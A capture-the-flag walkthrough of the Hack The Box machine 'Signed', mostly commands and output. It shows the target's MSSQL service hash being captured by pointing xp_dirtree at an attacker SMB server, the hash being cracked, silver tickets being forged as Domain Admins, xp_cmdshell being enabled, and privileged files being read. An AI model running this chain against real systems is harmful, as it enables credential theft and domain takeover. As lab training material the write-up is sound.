Description

Signed is a medium Hack The Box machine that features:

  • Assumed breach scenario with credentials that leads in MSSQL service enumeration
  • MSSQL service account NTLM hash capture and crack to elevate the privileges
  • Privilege Escalation via the ability of creating silver tickets and the use of OPENROWSET(BULK) T-SQL query to read privileged files

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.186.204.

$ ping -c 3 10.129.186.204
PING 10.129.186.204 (10.129.186.204) 56(84) bytes of data.
64 bytes from 10.129.186.204: icmp_seq=1 ttl=127 time=46.8 ms
64 bytes from 10.129.186.204: icmp_seq=2 ttl=127 time=46.3 ms
64 bytes from 10.129.186.204: icmp_seq=3 ttl=127 time=47.6 ms

--- 10.129.186.204 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.278/46.878/47.605/0.549 ms

The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.186.204 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 197.92 seconds

We only find the opened 1433 port.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.186.204 -Pn -sV -sC -p1433 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.186.204
Host is up (0.047s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.129.186.204:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.129.186.204:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds

We only find the Microsoft SQL Server service running on the server. We have the credentials of the scott user, Sm230#C5NatH, as an assumed breach. We check it.

$ netexec mssql 10.129.186.204 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL       10.129.186.204  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.186.204  1433   DC01             [+] DC01\scott:Sm230#C5NatH

The credential is correct. We add the host to our /etc/hosts local file.

$ echo "10.129.186.204 signed.htb" | sudo tee -a /etc/hosts

We can start by enumerating the server using impacket-mssqlclient tool.

$ impacket-mssqlclient 'scott:Sm230#C5NatH'@signed.htb     
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   
tempdb                   0   
model                    0   
msdb                     1   

SQL (scott  guest@master)> enum_logins
name    type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-----   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa      SQL_LOGIN             0          1               0             0            0              0           0           0           0   
scott   SQL_LOGIN             0          0               0             0            0              0           0           0           0   

SQL (scott  guest@master)> enum_users
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   
guest                public     NULL        NULL        guest           b'2         '   b'00'   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   
sys                  public     NULL        NULL        NULL            b'4         '    NULL   

We do not find anything of value in this output. We find that the xp_dirtree command is working, although it is not giving us output, it is not failing due to permissions issues.

SQL (scott  guest@master)> xp_dirtree /
subdirectory   depth   file   
------------   -----   ----

Exploitation

We are going to create a SMB server with the impacket-smbserver tool to try to capture NTLM hashes from the Microsoft SQL server.

$ impacket-smbserver -smb2support share .

Now we run the xp_dirtree command pointing to our newly-created SMB server.

SQL (scott  guest@master)> xp_dirtree \\10.10.14.82\a

We get the hash for the DC01\mssqlsvc MSSQL service account.

$ impacket-smbserver -smb2support share .
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.186.204,55052)
[*] AUTHENTICATE_MESSAGE (SIGNED\mssqlsvc,DC01)
[*] User DC01\mssqlsvc authenticated successfully
[*] mssqlsvc::SIGNED:aaaaaaaaaaaaaaaa:934ddbca048e69cf10195c12f5d3ef4e:010100000000000000578476713bdc0109562d1a922bae360000000001001000570055007000750051005200490053000300100057005500700075005100520049005300020010006b006300580045006a00630070006b00040010006b006300580045006a00630070006b000700080000578476713bdc01060004000200000008003000300000000000000000000000003000009d3af032076cd6b1a72817613939a9804bd0f5f7702c3d870d54e360f6ed8c4f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00380032000000000000000000
[*] Closing down connection (10.129.186.204,55052)
[*] Remaining connections []

We crack it using John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash          
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@     (mssqlsvc)     
1g 0:00:00:02 DONE 0.4784g/s 2147Kp/s 2147Kc/s 2147KC/s purtynread..punociudad
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

We find the password for mssqlsvc service account purPLE9795!@. Now, as we have access to a service account, we have the ability of forging silver tickets with custom parameters, which can lead in privilege escalation. Firstly we are going to open a MSSQL shell to option the SID of the service account (and the server SID).

$ impacket-mssqlclient 'mssqlsvc:purPLE9795!@'@signed.htb -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  guest@master)> enum_logins
name                                type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
---------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                                  SQL_LOGIN                 0          1               0             0            0              0           0           0           0   

##MS_PolicyEventProcessingLogin##   SQL_LOGIN                 1          0               0             0            0              0           0           0           0   

##MS_PolicyTsqlExecutionLogin##     SQL_LOGIN                 1          0               0             0            0              0           0           0           0   

SIGNED\IT                           WINDOWS_GROUP             0          1               0             0            0              0           0           0           0

We find that there is a Windows group with sysadmin permission, SIGNED\IT. This permission will allow us to run commands on the machine. We get the SIDs for mssqlvsc, SIGNED\IT and SIGNED\Domain Admins.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\mssqlsvc');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'   

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\IT');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'   

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\Domain Admins');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'

MSSQL returns the SIDs in binary format, we need to convert them to the common format. For that we will use a Python script, sid_parser.py.

#!/usr/bin/env python3
import sys

def parse_sid(hex_str):
    data = bytes.fromhex(hex_str)
    revision = data[0]
    sub_auth_count = data[1]
    identifier_auth = int.from_bytes(data[2:8], 'big')
    sub_auths = [int.from_bytes(data[8+i*4:12+i*4], 'little') for i in range(sub_auth_count)]
    sid_str = f"S-{revision}-{identifier_auth}-" + '-'.join(str(x) for x in sub_auths)
    return sid_str

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: ./sid_parser.py <SID_hex_without_0x>")
        print("Example: ./sid_parser.py 0105000000000005150000008C9D2C7A0A9B5F01")
        sys.exit(1)

    hex_input = sys.argv[1]
    try:
        print(parse_sid(hex_input))
    except Exception as e:
        print(f"Error parsing SID: {e}")
        sys.exit(1)

We use it.

$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000
S-1-5-21-4088429403-1159899800-2753317549-1103

$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
S-1-5-21-4088429403-1159899800-2753317549-1105

$ python sid_parser.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000
S-1-5-21-4088429403-1159899800-2753317549-512

We get the common SID part of the domain S-1-5-21-4088429403-1159899800-2753317549, the ID of the mssqlsvc user, 1103, the ID of the IT group, 1105 and the ID of the Domain Admins group, 512. To forge the silver ticket we need to convert the password of the service account to a NT hash (RC4). We can use the following command.

$ printf '%s' 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4 -binary | xxd -p | tr '[:lower:]' '[:upper:]'
EF699384C3285C54128A3EE1DDB1A0CC

We got the EF699384C3285C54128A3EE1DDB1A0CC NT hash. Now we can forge the ticket to impersonate that we are part of the IT group, to gain remote command execution ability.

$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -groups 1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

Now we can login using the Kerberos authentication with the ticket we generated. And we can enable the enable_xp_cmdshell option that will allow us to run commands.

$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
...
SQL (SIGNED\Administrator  dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
...
SQL (SIGNED\Administrator  dbo@master)> xp_cmdshell whoami
output            
---------------   
signed\mssqlsvc   

NULL

Post-Exploitation

Now we can run commands as the mssqlsvc user, but if we forge an Administrator ticket, we will not be able of running commands as the administrator, as the commands ran from the xp_cmdshell runs on a different context. In Transact-SQL, the OPENROWSET function exists. The OPENROWSET function reads data from one or many files and returns the content as a rowset. OPENROWSET(BULK) is designed for reading data from external data files.

To read privileged files we need to belong to a privileged group, such as Domain Admins. As we have the ability to forge silver ticket, we can generate a new one to belong to the IT (1105) and Domain Admins (512) groups. We also need to specify the user ID for the user the ticket will be created for (1103), as by default it is filled with the 500 value.

$ impacket-ticketer -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/signed.htb:1433 -user-id 1103 -groups 512,1105 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

Now we can re-login to read privileged files.

$ KRB5CCNAME=./mssqlsvc.ccache impacket-mssqlclient -k -no-pass signed.htb/mssqlsvc@signed.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS Contents;
BulkColumn                                                                                                      
-------------------------------------------------------------------------------------------------------------   
b'; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n'

Flags

In this context, we can retrieve the user.txt and root.txt flags.

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS Contents;
BulkColumn                                
---------------------------------------   
b'<REDACTED>\r\n'   

SQL (SIGNED\mssqlsvc  dbo@master)> SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS Contents;
BulkColumn                                
---------------------------------------   
b'<REDACTED>\r\n'